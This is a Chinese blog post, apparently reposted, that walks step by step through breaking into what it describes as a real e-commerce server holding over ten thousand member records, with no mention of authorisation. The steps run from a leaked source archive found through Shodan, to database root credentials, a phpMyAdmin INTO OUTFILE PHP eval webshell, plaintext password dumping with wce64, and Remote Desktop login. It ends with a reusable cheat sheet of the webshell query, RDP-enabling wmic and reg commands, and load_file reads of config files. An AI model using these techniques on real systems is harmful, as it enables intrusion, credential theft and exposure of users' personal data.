首页 > 代码库 > 源代码泄露获取某电子商务网站服务器权限

源代码泄露获取某电子商务网站服务器权限

源代码泄露获取某电子商务网站服务器权限

simeon

   渗透本次目标事发偶然,通过shadon对“phpMyAdmin”关键字进行检索时,加入“indexOf”关键字后,会出现所有存在列目录漏洞的网站,该网站为电子商务网站,网站保留有数万会员真实信息,下面将整过渗透过程进行分享。

1.发现目标

   通过shadon搜索引擎对搜索记录逐个打开,发现某目标站点存在文件目录泄露漏洞:

http://203.***.**.227/

http://203.***.**.227/www.********.hk.rar

http://203.***.**.227/phpMyAdmin/

http://203.***.**.227/news********hk/

  目录还有phpinfo.php文件,看到phpMyAdminphpinfo.php同时存在,感觉服务器权限已经不远了,如图1所示,有网站源代码打包文件,将其下载到本地。

技术分享

1文件泄露

2.查看源代码打包文件

   整个源代码压缩包2.37 GB,真大!通过搜索和查看,确定数据库配置文件为config.php

如图2所示,将其解压到本地,使用notepad进行查看,果然其中包含了数据库配置信息,而且还是root帐号,密码虽然算弱口令,但也是弱口令中的强口令。

技术分享

2寻找数据库配置文件

技术分享

3获取数据库root帐号和密码

3.寻找网站物理路径

   通过phpinfo.php文件查看,在浏览器中可以使用Ctrl+F快捷键搜索关键字“SCRIPT_FILENAME”获取其真实物理路径地址,_SERVER["SCRIPT_FILENAME"]      D:/WWW/phpinfo.php,如图4所示。

技术分享

4获取网站物理路劲

4.Mysql直接导出Webshell

   通过获取的root帐号和密码登录http://203.***.**.227/phpMyAdmin/,成功登录,如图5所示,选择SQL查询,在其中查询select‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php‘导出一句话后门。

技术分享

5登录mysql数据库

技术分享

6查询导出一句话后门

6.获取webshell

 在浏览器中对http://203.***.**.227地址刷新即可获取一句话后门文件地址:http://203.***.**.227/p.php,在浏览器中打开进行访问,一切正常。使用中国菜刀一句话后门管理软件,shell添加并打开,如图7所示,顺利获取webshell

技术分享

7获取webshell

7.服务器提权

    目测该系统php运行权限为系统权限,上传wce64.exe,然后在终端管理中输入“wce64-w”命令成功获取管理员帐号密码,如图8所示。

技术分享

8获取管理员密码

8.获取3389端口

   在终端管理器中执行netstat -an|find "3389",无结果显示,估计管理员修改了默认端口,使用tasklist /svc命令获取进程名称和服务,找到termservice所对应的进程号,可以直接使用命令 tasklist /svc | find"termService"来获取对应的PID号,如图9所示,在本例中对应的ID号是1340技术分享

9获取远程终端服务对应的PID

  然后使用“netstat -ano”命令寻找1340对应的端口号,如图10所示,对应的TCP端口为7755端口,也可以使用命令netstat-ano | find ‘1340‘命令直接显示。

10获取终端服务对应的端口

9.登录远程终端

   在命令提示符下输入mstsc.exe,打开远程终端登陆器,在3389远程桌面登录中的地址中输入“203.***.**.227:7755”,然后使用获取的管理员密码成功登录系统,如图11所示。

技术分享

11成功登录系统

10.域名反查

   打开http://www.yougetsignal.com/tools/web-sites-on-web-server/网站对IP地址203.***.**.227进行域名反查,如图12所示,该IP下存在网站,打开该网站,该网站为一个电子商务网站,在该网站中存在数万会员资料,如图13所示。

技术分享

12域名反查

技术分享

13存在1万多条会员信息

11.渗透总结与思考

  对存在phpMyAdmin的站点,通过代码泄露等方法来获取数据库的密码,然后通过读取文件或者导出文件来获取webshell

13389端口命令行下获取总结

netstat-an |find "3389"  查看3389端口是否开放

tasklist/svc | find "TermService" 获取对应TermServicePID

netstat-ano | find ‘1340‘  查看上面获取的PID号对应的TCP端口号

2Windows2008Server命令行开启3389

wmic/namespace:\\root\cimv2\terminalservices path win32_terminalservicesettingwhere (__CLASS != "") call setallowtsconnections 1

 wmic /namespace:\\root\cimv2\terminalservicespath win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp‘) callsetuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

3wce64 -w 命令直接获取系统明文登录密码

4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

5phpmyadmin一句话后门导出

select‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php‘

6phpstudy敏感配置文件

selectload_file(‘ D:\phpStudy\Lighttpd\conf\vhosts.conf ‘);

select load_file(‘D:\phpStudy\Lighttpd\conf\ lighttpd.conf ‘);

selectload_file(‘ D:\phpStudy\Apache\conf\vhosts.conf‘);

selectload_file(‘ D:\phpStudy\Apache\conf\httpd.conf‘);

selectload_file(‘c:\boot.ini‘);

selectload_file(‘c:\boot.ini‘);

selectload_file(‘ D:\phpStudy\MySQL\my.ini‘);

 


源代码泄露获取某电子商务网站服务器权限